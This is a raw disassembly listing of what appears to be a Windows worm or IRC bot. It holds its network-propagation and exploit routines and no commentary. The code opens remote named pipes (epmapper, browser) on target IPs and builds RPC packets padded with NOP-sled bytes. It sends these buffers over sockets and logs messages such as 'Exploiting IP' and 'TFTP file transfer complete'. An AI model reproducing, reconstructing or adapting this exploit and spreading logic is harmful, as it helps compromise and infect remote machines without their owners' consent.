sub_40D9D9+Cj mov ecx, edi call sub_40DAFD mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40DA02 mov ebx, eax loc_40DA02: ; CODE XREF: sub_40D9D9+25j test ebx, ebx jbe short loc_40DA38 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41D400 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D8E3 test al, al jz short loc_40DA38 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40DA38: ; CODE XREF: sub_40D9D9+2Bj ; sub_40D9D9+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D9D9 endp ; =============== S U B R O U T I N E ======================================= sub_40DA40 proc near ; CODE XREF: sub_40D8E3+79p mov eax, offset loc_426D8C call sub_41D3D0 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40DA66 mov edi, [ebp+8] loc_40DA66: ; CODE XREF: sub_40DA40+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40DA73 xor eax, eax loc_40DA73: ; CODE XREF: sub_40DA40+2Fj push eax call sub_41D735 pop ecx mov [ebp+8], eax jmp short loc_40DAA4 ; --------------------------------------------------------------------------- loc_40DA7F: ; DATA XREF: ___:00427FCCo mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40DA8E xor eax, eax loc_40DA8E: ; CODE XREF: sub_40DA40+4Aj push eax call sub_41D735 mov [ebp+8], eax pop ecx mov eax, offset loc_40DA9E retn ; --------------------------------------------------------------------------- loc_40DA9E: ; DATA XREF: sub_40DA40+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40DAA4: ; CODE XREF: sub_40DA40+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40DAC2 cmp eax, edi jbe short loc_40DAB1 mov eax, edi loc_40DAB1: ; CODE XREF: sub_40DA40+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41CAB0 add esp, 0Ch loc_40DAC2: ; CODE XREF: sub_40DA40+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D968 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40DAE2 mov edi, ebx loc_40DAE2: ; CODE XREF: sub_40DA40+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40DA40 endp ; =============== S U B R O U T I N E ======================================= sub_40DAFD proc near ; CODE XREF: sub_40D9D9+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40DB2A mov al, [esi-1] test al, al jz short loc_40DB2A cmp al, 0FFh jz short loc_40DB2A push 1 call sub_40D968 push esi call sub_41B960 pop ecx push eax push esi mov ecx, edi call sub_40D9A4 loc_40DB2A: ; CODE XREF: sub_40DAFD+9j ; sub_40DAFD+10j ... pop edi pop esi retn sub_40DAFD endp ; =============== S U B R O U T I N E ======================================= sub_40DB2D proc near ; DATA XREF: ___:00429008o test byte_4D9A2C, 1 jnz short loc_40DB3D or byte_4D9A2C, 1 loc_40DB3D: ; CODE XREF: sub_40DB2D+7j jmp $+5 push offset nullsub_2 call sub_41D7B0 pop ecx retn sub_40DB2D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB4F proc near ; CODE XREF: ___:0040DF65p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_4329A0 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset off_432998 lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43B4B8 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi nop call near ptr 2700000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41D7F1 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41D7F1 mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_4CC024 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_4C93A4 cmp eax, 5 mov ebx, 4C3h jz short loc_40DC13 cmp eax, ebx jnz short loc_40DC1D loc_40DC13: ; CODE XREF: sub_40DB4F+BEj push edi push edi push edi push esi call dword_4C93A4 loc_40DC1D: ; CODE XREF: sub_40DB4F+C2j cmp eax, 5 jz short loc_40DC2B cmp eax, ebx jz short loc_40DC2B push 1 pop eax jmp short loc_40DC2D ; --------------------------------------------------------------------------- loc_40DC2B: ; CODE XREF: sub_40DB4F+D1j ; sub_40DB4F+D5j xor eax, eax loc_40DC2D: ; CODE XREF: sub_40DB4F+DAj pop edi pop esi pop ebx leave retn sub_40DB4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC32 proc near ; CODE XREF: ___:0040DFB7p ; ___:0040E097p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_4329A0 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset off_432998 lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43B4B8 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi nop call near ptr 2700000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41D7F1 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41D7F1 add esp, 10h loc_40DCC3: ; CODE XREF: sub_40DC32+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_4C923C test eax, eax jz short loc_40DCE3 push 7D0h nop call near ptr 2690000h jmp short loc_40DCC3 ; --------------------------------------------------------------------------- loc_40DCE3: ; CODE XREF: sub_40DC32+A2j push 1 pop eax pop edi pop esi leave retn sub_40DC32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCEA proc near ; CODE XREF: ___:0040DFE6p ; ___:0040E124p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_41C2A0 push esi push edi push offset byte_429108 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_40B21E mov edi, eax add esp, 10h test edi, edi jz loc_40DF39 push ebx mov ebx, offset off_4328B4 push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_41CAB0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BD10 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_41CAB0 add esp, 24h lea esi, [edi+0D7h] loc_40DD6F: ; CODE XREF: sub_40DCEA+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40DDBF mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_41CAB0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BD10 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_41CAB0 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_40DD6F ; --------------------------------------------------------------------------- loc_40DDBF: ; CODE XREF: sub_40DCEA+90j cmp [ebp+arg_C4], 0 jz short loc_40DDDA cmp [ebp+arg_C0], 3 jz short loc_40DDE3 cmp [ebp+arg_C0], 0 jmp short loc_40DDE1 ; --------------------------------------------------------------------------- loc_40DDDA: ; CODE XREF: sub_40DCEA+DCj cmp [ebp+arg_C0], 3 loc_40DDE1: ; CODE XREF: sub_40DCEA+EEj jnz short loc_40DDEC loc_40DDE3: ; CODE XREF: sub_40DCEA+E5j push 4 push offset dword_432994 jmp short loc_40DDF3 ; --------------------------------------------------------------------------- loc_40DDEC: ; CODE XREF: sub_40DCEA:loc_40DDE1j push 4 push offset dword_432990 loc_40DDF3: ; CODE XREF: sub_40DCEA+100j lea eax, [ebp+var_1FE0] push eax call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_4324C8 push eax call sub_41CAB0 push 10h lea eax, [ebp+var_CA4] push offset dword_43282C push eax call sub_41CAB0 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_41CAB0 lea edi, [esi+370h] push 3Ch push offset off_432840 lea eax, [ebp+edi+var_1004] push eax call sub_41CAB0 add edi, 3Ch push 30h push offset dword_432880 lea eax, [ebp+edi+var_1004] push eax call sub_41CAB0 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_41BC9B add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_41BD10 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_41CAB0 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_40DF39: ; CODE XREF: sub_40DCEA+3Ej pop edi pop esi leave retn sub_40DCEA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1338h call sub_41C2A0 cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40E0AB lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40DB4F pop ecx test eax, eax pop ecx jz loc_40E1BB lea eax, [ebp+0Ch] push eax lea eax, [ebp-338h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_41C006 add esp, 0Ch xor ebx, ebx lea eax, [ebp-338h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax nop call near ptr 273075Dh cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DFC2 loc_40DFB3: ; CODE XREF: ___:0040E063j lea eax, [ebp+0Ch] push eax call sub_40DC32 pop ecx jmp loc_40E1BB ; --------------------------------------------------------------------------- loc_40DFC2: ; CODE XREF: ___:0040DFB1j lea eax, [ebp+0Ch] push 2 push eax call sub_41827E pop ecx lea esi, [ebp+8] pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCEA add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40E05A mov edi, 186A0h push edi call sub_41BC9B mov esi, eax push edi push ebx push esi call sub_41BD10 add esp, 10h lea eax, [ebp-0Ch] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_43247C push dword ptr [ebp-4] nop call near ptr 2730000h cmp byte ptr [esi+2], 0Ch jnz short loc_40E04A lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] call near ptr 2720000h nop test eax, eax jnz short loc_40E068 loc_40E04A: ; CODE XREF: ___:0040E030j push esi call sub_41BA31 push dword ptr [ebp-8] call sub_41BA31 pop ecx pop ecx loc_40E05A: ; CODE XREF: ___:0040DFF6j push dword ptr [ebp-4] nop call near ptr 2670000h jmp loc_40DFB3 ; --------------------------------------------------------------------------- loc_40E068: ; CODE XREF: ___:0040E048j lea eax, [ebp-0Ch] push ebx push eax push edi push esi push dword ptr [ebp-4] nop call near ptr 2710000h push dword ptr [ebp-8] mov edi, eax call sub_41BA31 push esi call sub_41BA31 pop ecx pop ecx push dword ptr [ebp-4] nop call near ptr 2670000h lea eax, [ebp+0Ch] push eax call sub_40DC32 cmp edi, 1 pop ecx jnz loc_40E1CF jmp loc_40E1BB ; --------------------------------------------------------------------------- loc_40E0AB: ; CODE XREF: ___:0040DF57j lea eax, [ebp+0Ch] push 1 push eax call sub_41827E mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40E1BB xor ebx, ebx push ebx push 1 push 2 call dword_4C9384 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40E1BB push 10h lea eax, [ebp-24h] push ebx push eax call sub_41BD10 add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp+0A8h] call dword_4C9304 mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call dword_4C9344 mov [ebp-20h], eax push ebx lea eax, [ebp-0Ch] push esi push eax lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCEA mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40E13D push dword ptr [ebp-4] jmp short loc_40E1B5 ; --------------------------------------------------------------------------- loc_40E13D: ; CODE XREF: ___:0040E136j mov edi, [ebp-4] lea eax, [ebp-24h] push 10h push eax push edi call dword_4C92AC cmp eax, 0FFFFFFFFh jnz short loc_40E155 loc_40E152: ; CODE XREF: ___:0040E167j push esi jmp short loc_40E1AE ; --------------------------------------------------------------------------- loc_40E155: ; CODE XREF: ___:0040E150j push ebx push 48h push offset dword_43247C push edi call dword_4C9354 cmp eax, 0FFFFFFFFh jz short loc_40E152 mov esi, 1000h push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4C931C push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_40E196 push dword ptr [ebp-8] jmp short loc_40E1AE ; --------------------------------------------------------------------------- loc_40E196: ; CODE XREF: ___:0040E18Fj push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4C931C push dword ptr [ebp-8] cmp eax, 0FFFFFFFFh jnz short loc_40E1C2 loc_40E1AE: ; CODE XREF: ___:0040E153j ; ___:0040E194j call sub_41BA31 pop ecx push edi loc_40E1B5: ; CODE XREF: ___:0040E13Bj call dword_4C939C loc_40E1BB: ; CODE XREF: ___:0040DF6Ej ; ___:0040DFBDj ... xor eax, eax jmp loc_40E27E ; --------------------------------------------------------------------------- loc_40E1C2: ; CODE XREF: ___:0040E1ACj call sub_41BA31 pop ecx push edi call dword_4C939C loc_40E1CF: ; CODE XREF: ___:0040E0A0j lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_41C006 add esp, 0Ch xor esi, esi loc_40E1E9: ; CODE XREF: ___:0040E209j lea eax, [ebp-234h] push eax call sub_415DCF test eax, eax pop ecx jnz short loc_40E20D push 1388h call near ptr 2690000h nop inc esi cmp esi, 6 jl short loc_40E1E9 jmp short loc_40E27B ; --------------------------------------------------------------------------- loc_40E20D: ; CODE XREF: ___:0040E1F8j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax lea eax, [ebp-234h] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_41C006 add esp, 10h cmp [ebp+0BCh], ebx jnz short loc_40E259 push ebx lea eax, [ebp-234h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409862 add esp, 14h loc_40E259: ; CODE XREF: ___:0040E23Aj lea eax, [ebp-234h] push eax call sub_415CEE mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc dword_431810[eax] lea eax, dword_431810[eax] loc_40E27B: ; CODE XREF: ___:0040E20Bj push 1 pop eax loc_40E27E: ; CODE XREF: ___:0040E1BDj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40E283 proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40E283 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E288 proc near mov eax, dword_432B98 add eax, 6 mov dword_4CC028, eax retn sub_40E288 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E296 proc near ; CODE XREF: sub_40E296+D0p ; ___:0040E7F5p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40E2AA or [ebp+arg_7], 1 jmp short loc_40E2AE ; --------------------------------------------------------------------------- loc_40E2AA: ; CODE XREF: sub_40E296+Cj and [ebp+arg_7], 0FEh loc_40E2AE: ; CODE XREF: sub_40E296+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40E2D2 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40E2E4 ; --------------------------------------------------------------------------- loc_40E2D2: ; CODE XREF: sub_40E296+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40E2E4: ; CODE XREF: sub_40E296+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41BC9B test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40E37D push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call near ptr 2720000h nop test eax, eax jz short loc_40E374 mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40E374 push [ebp+arg_20] call sub_41BA31 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40E370 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40E296 add esp, 2Ch jmp short loc_40E37F ; --------------------------------------------------------------------------- loc_40E370: ; CODE XREF: sub_40E296+B3j mov al, 1 jmp short loc_40E37F ; --------------------------------------------------------------------------- loc_40E374: ; CODE XREF: sub_40E296+9Cj ; sub_40E296+A4j push [ebp+arg_20] call sub_41BA31 pop ecx loc_40E37D: ; CODE XREF: sub_40E296+61j xor al, al loc_40E37F: ; CODE XREF: sub_40E296+D8j ; sub_40E296+DCj pop edi pop esi pop ebx leave retn sub_40E296 endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 0B8h ; ╦ db 0DCh ; э db 60h ; ` db 0 db 0 db 0E8h ; Х db 0Fh db 0DFh ; ъ db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 5Ch ; \ db 0D8h ; ь db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; Х db 5Fh ; _ db 0F5h ; У db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; ш db 85h ; ┘ db 0C0h ; ю db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ╬ db 0 db 20h db 0 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 0FFh db 68h ; h db 14h db 2Ch ; , db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; Х db 3Dh ; = db 0DDh ; щ db 0 db 0 db 6Ah ; j db 20h db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; Х db 3Eh ; > db 0D9h ; ы db 0 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 0FFh db 83h ; ┐ db 0C4h ; д db 1Ch db 89h ; ┴ db 85h ; ┘ db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ╦ db 0B8h ; ╦ db 0B4h ; ╢ db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; Х db 3Bh ; ; db 82h ; ┌ db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40E3FC ; --------------------------------------------------------------------------- db 0BEh ; ╬ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40E3FC: ; CODE XREF: ___:0040E3F5j push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41C100 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 273075Dh cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40E440 loc_40E439: ; CODE XREF: ___:0040E518j ; ___:0040E6EEj ... xor al, al jmp loc_40E884 ; --------------------------------------------------------------------------- loc_40E440: ; CODE XREF: ___:0040E437j push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41BD10 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_432BEC push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41CAB0 push 10h lea eax, [ebp-84h] push offset dword_432BD8 push eax mov dword ptr [ebp-88h], 3 call sub_41CAB0 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 2720000h test eax, eax jnz short loc_40E51D loc_40E50F: ; CODE XREF: ___:0040E5E9j push dword ptr [ebp-4] nop call near ptr 2670000h jmp loc_40E439 ; --------------------------------------------------------------------------- loc_40E51D: ; CODE XREF: ___:0040E50Dj lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 2710000h push ebx call sub_41D81B push eax call sub_41C058 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41BD10 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41BD10 add esp, 20h call sub_41C062 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_432B80[esi], bl jz short loc_40E594 push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CC030 jmp short loc_40E5A7 ; --------------------------------------------------------------------------- loc_40E594: ; CODE XREF: ___:0040E580j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_432BCF+1) loc_40E5A7: ; CODE XREF: ___:0040E592j lea eax, [ebp-20h] push eax call sub_41CAB0 add esp, 0Ch call sub_41C062 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41C062 cdq idiv edi mov eax, dword_432B74[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41BC9B mov edi, eax pop ecx cmp edi, ebx jz loc_40E50F mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41BD10 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41BD10 mov eax, dword_432B7C[esi] push 7 add eax, edi push offset dword_432B68 push eax mov [ebp+0Ch], eax call sub_41CAB0 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432A08 push eax call sub_41CAB0 mov eax, dword_432B78[esi] add esp, 30h cmp byte_432B80[esi], bl mov [ebp+0Ch], eax jz short loc_40E6A0 push 4 add eax, edi push offset dword_4CC028 push eax call sub_41CAB0 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_432B98 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41CAB0 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41CAB0 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41CAB0 add esp, 30h jmp short loc_40E6C8 ; --------------------------------------------------------------------------- loc_40E6A0: ; CODE XREF: ___:0040E651j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_432B98 loc_40E6B1: ; CODE XREF: ___:0040E6C6j push 4 push esi push dword ptr [ebp+0Ch] call sub_41CAB0 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40E6B1 loc_40E6C8: ; CODE XREF: ___:0040E69Ej mov eax, [ebp+8] add eax, 42h push eax call sub_41BC9B mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40E6F3 push dword ptr [ebp-4] nop call near ptr 2670000h push edi call sub_41BA31 pop ecx jmp loc_40E439 ; --------------------------------------------------------------------------- loc_40E6F3: ; CODE XREF: ___:0040E6DCj mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41BD10 lea eax, [ebp-70h] push 14h push eax push esi call sub_41CAB0 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276A4 fstp qword ptr [esp] call sub_41CF2B call sub_41CF04 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41CAB0 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40E760 loc_40E758: ; CODE XREF: ___:0040E75Bj inc eax test al, 3 jnz short loc_40E758 mov [ebp+0Ch], eax loc_40E760: ; CODE XREF: ___:0040E756j lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41CAB0 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41BA31 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41BD10 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41BD10 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 27309ECh mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40E7CD: ; CODE XREF: ___:0040E857j cmp dword ptr [ebp-0Ch], 2 jge loc_40E862 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40E296 add esp, 2Ch 